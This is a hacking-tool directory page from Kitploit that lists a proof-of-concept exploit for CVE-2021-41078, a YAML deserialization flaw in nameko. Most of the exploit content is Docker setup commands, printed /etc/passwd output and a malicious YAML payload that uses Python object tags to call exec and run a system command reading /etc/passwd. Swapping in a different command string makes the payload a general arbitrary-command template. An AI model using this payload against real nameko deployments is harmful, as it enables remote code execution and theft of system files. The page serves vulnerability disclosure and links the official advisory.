Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2021-41078 — nameko Arbitrary code execution due to YAML deserialization | Kitploit
Tools/GitHubGitHub/s-index/cve-2021-41078
Payload GenerationVulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationMisconfiguration
GitHubs-index/cve-2021-41078

CVE-2021-41078

nameko Arbitrary code execution due to YAML deserialization

View Repository
3 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2021-41078

nameko Arbitrary code execution due to YAML deserialization

NVD Description

Nameko through 2.13.0 can be tricked into performing arbitrary code execution when deserializing the config file.

Demo

cve-2021-41078

Set Up

  1. Build an image from a Dockerfile
root@kitploit:~
docker build -t cve-2021-41078 .
  1. Run python main.py in a new container
root@kitploit:~
docker run -it --rm cve-2021-41078

output /etc/passwd

root@kitploit:~
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
-- snip --

output-image

PoC Payload

malicious.yml

root@kitploit:~
!!python/object/new:type
args: ['z', !!python/tuple [], {'extend': !!python/name:exec }]
listitems: "__import__('os').system('cat /etc/passwd')"

Reference

  • https://github.com/nameko/nameko/security/advisories/GHSA-6p52-jr3q-c94g
Download Tool